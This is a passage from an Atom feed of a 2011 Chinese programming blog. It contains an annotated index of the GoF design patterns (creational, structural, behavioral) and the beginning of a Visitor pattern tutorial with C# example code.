#000000;"&gt;子元素样式名称&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt; });&lt;/span&gt;&lt;span&gt;});&lt;/span&gt;&lt;/div&gt;&lt;p&gt;如果需要根据ID做选择器自己扩展去吧，呵呵&lt;/p&gt;&lt;script type="text/javascript"&gt;// &lt;![CDATA[google_ad_client = "ca-pub-2976783274616186";/* 博客园1 */google_ad_slot = "4211604936";google_ad_width = 728;google_ad_height = 90;// ]]&gt;&lt;/script&gt;&lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;// &lt;![CDATA[// ]]&gt;&lt;/script&gt;&lt;img src="http://www.cnblogs.com/jqbird/aggbug/2173211.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/09/10/2173211.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jqbird/archive/2011/09/08/2171198.html</id><title type="text">设计模式完整备忘录</title><summary type="text">小言：这不是设计模式讲解型博文，以下将设计模式的概述、类图，代码示例，总结分每篇博文单独展示，现将其归类，便于以后翻阅，设计模式也不是一两个月学完了就能完全领悟，它只告诉我们几个解决问题的思路和方法，将具体问题抽象为模型的思想，武功也是，套路需要学，但是基本功(如马步、力量，毅力，抗打击能力)绝对不可或缺，在学习设计模式的同时更需要看看数据结构和算法方面的基础东东。设计模式不是银弹，如果非要用降龙十八掌对付一只蚂蚁不是一个好想法。本人也是学艺不精，整理当中难免有错误，希望在大家的批评指正，共同进步。一、创建型模式 ...</summary><published>2011-09-08T04:06:00Z</published><updated>2011-09-08T04:06:00Z</updated><author><name>叶鹏</name><uri>http://www.cnblogs.com/jqbird/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jqbird/archive/2011/09/08/2171198.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jqbird/archive/2011/09/08/2171198.html"/><content type="html">&lt;p&gt;&lt;strong&gt;小言：&lt;/strong&gt;这不是设计模式讲解型博文，以下将设计模式的概述、类图，代码示例，总结分每篇博文单独展示，现将其归类，便于以后翻阅，设计模式也不是一两个月学完了就能完全领悟，它只告诉我们几个解决问题的思路和方法，将具体问题抽象为模型的思想，武功也是，套路需要学，但是基本功(如马步、力量，毅力，抗打击能力)绝对不可或缺，在学习设计模式的同时更需要看看数据结构和算法方面的基础东东。设计模式不是银弹，如果非要用降龙十八掌对付一只蚂蚁不是一个好想法。本人也是学艺不精，整理当中难免有错误，希望在大家的批评指正，共同进步。&lt;/p&gt;&lt;p&gt;&lt;span style="background-color: #99ccff;"&gt;&lt;strong&gt;一、创建型模式 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #333399;"&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/18/2144085.html" style="font-family: '微软雅黑'; font-weight: bold; text-decoration: underline;" class="code_img_opened"&gt;&lt;span style="color: #333399;"&gt;工厂方法(FactoryMethod)&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;定义一个用于创建对象的接口，让子类决定实例化哪一个类。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;FactoryMethod使一个类的实例化延迟到其子类。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/25/2152990.html"&gt;抽象工厂(AbstractFactory)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;提供一个创建一系列相关或相互依赖对象的接口，而无需指定它们具体的类。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/23/2150432.html"&gt;建造者(Builder)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/07/16/2108212.html"&gt;单例模式(Singleton)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;保证一个类仅有一个实例，并提供一个访问它的全局访问点。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/19/2145417.html"&gt;原型模式(Prototype)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 用原型实例指定创建对象的种类，并且通过拷贝这些原型创建新的对象。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="background-color: #99ccff;"&gt;&lt;strong&gt;二、结构型模式 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/27/2155534.html"&gt;适配器模式(Adapter)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 将一个类的接口转换成客户希望的另外一个接口。Adapter模式使得原本&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 由于接口不兼容而不能一起工作的那些类可以一起工作。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/09/01/2161679.html"&gt;桥接模式(Bridge)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 将抽象部分与它的实现部分分离，使它们都可以独立地变化。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/30/2159285.html"&gt;组合模式(Compsite)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 将对象组合成树形结构以表示"部分-整体"的层次结构。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Composite使得用户对单个对象和组合对象的使用具有一致性。"&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/17/2142734.html"&gt;装饰模式(Decorator)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 动态地给一个对象添加一些额外的职责。就增加功能来说，Decorator模式相比生成子类更为灵活&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/22/2148983.html"&gt;外观模式(Facade)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;为子系统中的一组接口提供一个一致的界面，Facade模式定义了一个高层接口，&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;这个接口使得这一子系统更加容易使用。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/09/06/2168482.html"&gt;享元模式(Flyweight)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 运用共享技术有效地支持大量细粒度的对象。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/18/2144014.html"&gt;代理模式(Proxy)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 为其他对象提供一种代理以控制对这个对象的访问。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="background-color: #99ccff;"&gt;&lt;strong&gt;二、行为型模式 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/09/03/2165260.html"&gt;责任链模式(Chain Of Responsibility)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;使多个对象都有机会处理请求，从而避免请求的发送者和接收者之间的耦合关系。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;将这些对象连成一条链,&amp;nbsp;并沿着这条链传递该请求，直到有一个对象处理它为止。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/09/02/2163531.html"&gt;命令模式(Command)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 将一个请求封装为一个对象，从而使你可用不同的请求对客户进行参数化；&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 对请求排队或记录请求日志,以及支持可撤消的操作。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/09/07/2169566.html"&gt;解释器模式(Interpreter)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 给定一个语言，定义它的文法的一种表示，并定义一个解释器，&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 这个解释器使用该表示来解释语言中的句子。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/31/2160653.html"&gt;迭代器模式(Iterator)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 提供一种方法顺序访问一个聚合对象中各个元素，而又不暴露该对象的内部表示。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/09/05/2167077.html"&gt;中介者模式(Mediator)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 用一个中介对象来封装一系列的对象交互。中介者使各对象不需要显式地相互引用，&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 从而使其耦合松散,而且可以独立地改变它们之间的交互。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/29/2158018.html"&gt;备忘录模式(Memento)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 在不破坏封装性的前提下，捕获一个对象的内部状态，并在该对象之外保存这个状态。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 这样以后就可将该对象恢复到原先保存的状态。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/24/2151917.html"&gt;观察者模式(Observer)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;所有依赖于它的对象都得到通知并被自动更新。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/26/2154186.html"&gt;状态模式(State)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 当一个对象的内在状态改变时允许改变其行为，这个对象看起来像是改变了其类。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/16/2140133.html"&gt;策略模式(Strategy)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 定义一系列的算法,把它们一个个封装起来,并且使它们可相互替换。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 本模式使得算法可独立于使用它的客户而变化。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/08/20/2146936.html"&gt;模板方法(TemplateMethod)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 定义一个操作中的算法的骨架，而将一些步骤延迟到子类中。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; TemplateMethod使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/09/08/2171115.html"&gt;访问者模式(Visitor)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 表示一个作用于某对象结构中的各元素的操作。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 它使你可以在不改变各元素的类的前提下定义作用于这些元素的新操作。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;附上每一个模式的代码示例,每一种模式示例代码都通过调试，调试环境vs2010&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;下载地址：&lt;a href="http://files.cnblogs.com/jqbird/DesignPatternLab.rar"&gt;http://files.cnblogs.com/jqbird/DesignPatternLab.rar&lt;/a&gt;&lt;/p&gt;&lt;script type="text/javascript"&gt;// &lt;![CDATA[google_ad_client = "ca-pub-2976783274616186";/* 博客园1 */google_ad_slot = "4211604936";google_ad_width = 728;google_ad_height = 90;// ]]&gt;&lt;/script&gt;&lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;// &lt;![CDATA[// ]]&gt;&lt;/script&gt;&lt;img src="http://www.cnblogs.com/jqbird/aggbug/2171198.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/09/08/2171198.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jqbird/archive/2011/09/08/2171115.html</id><title type="text">设计模式学习笔记-访问者模式</title><summary type="text">概述： 访问者模式(Visitor)，表示作用于某对象结构中的各元素的操作。它使你可以在不改变各元素的类的前提下定义作用于这些元素新的操作。适用场合： 1.一个对象结构包含很多类对象，他们有不同的接口，而你想对这些对象实施一些依赖于其具体类的操作。2.需要对一个对象中的对象进行很多不同的并且不相关的操作，而你想避免让这些操作‘污染’这些对象的类。 visitor使得你可以将相关的操作集中起来定义在一个类...</summary><published>2011-09-08T03:08:00Z</published><updated>2011-09-08T03:08:00Z</updated><author><name>叶鹏</name><uri>http://www.cnblogs.com/jqbird/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jqbird/archive/2011/09/08/2171115.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jqbird/archive/2011/09/08/2171115.html"/><content type="html">&lt;p&gt;&lt;strong&gt;&lt;span style="background-color: #99ccff;"&gt;概述： &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;访问者模式(Visitor)，表示作用于某对象结构中的各元素的操作。&lt;/p&gt;&lt;p&gt;它使你可以在不改变各元素的类的前提下定义作用于这些元素新的操作。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="background-color: #99ccff;"&gt;适用场合： &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;1.一个对象结构包含很多类对象，他们有不同的接口，而你想对这些对象实施一些依赖于其具体类的操作。&lt;/p&gt;&lt;p&gt;2.需要对一个对象中的对象进行很多不同的并且不相关的操作，而你想避免让这些操作&amp;lsquo;污染&amp;rsquo;这些对象的类。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;visitor使得你可以将相关的操作集中起来定义在一个类中。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;当该对象结构被很多应用共享时，使用Visitor模式让每个应用包含需要用到的操作。&lt;/p&gt;&lt;p&gt;3.定义对象结构类很少改变，但经常需要在此结构上定义新的操作。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;改变对象结构类需要重定义对所有访问者的接口，这可能需要很大的代价。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;如果对象结构类经常改变，那么可能还是在这些类中定义这些操作较好。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="background-color: #99ccff;"&gt;类图： &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/94489/2011090810532224.png" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="background-color: #99ccff;"&gt;代码示例： &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;1.访问者抽象类&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #000000;"&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;summary&amp;gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; 为该对象结构中ConcreteElement的每一个类声明一个Visit操作&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;span style="color: #808080;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;   &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;abstract&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;&lt;span style="color: #000000;"&gt; Visitor&lt;br /&gt;    {&lt;br /&gt;       &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;abstract&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; VisitConcreteElementA(ConcreteElementA concreteElementA);&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;abstract&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; VisitConcreteElementB(ConcreteElementB concreteElementB);&lt;br /&gt;    }&lt;/span&gt;&lt;/div&gt;&lt;p&gt;2.实现访问者类&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #000000;"&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;summary&amp;gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; 具体访问者，实现Visitor的操作，每个操作实现算法的一部分，该算法乃是对应&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; 于结构中对象的类&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;span style="color: #808080;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;    &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;&lt;span style="color: #000000;"&gt; ConcreteVisitor1:Visitor&lt;br /&gt;    {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;override&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; VisitConcreteElementA(ConcreteElementA concreteElementA)&lt;br /&gt;        {&lt;br /&gt;            Console.WriteLine(&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: 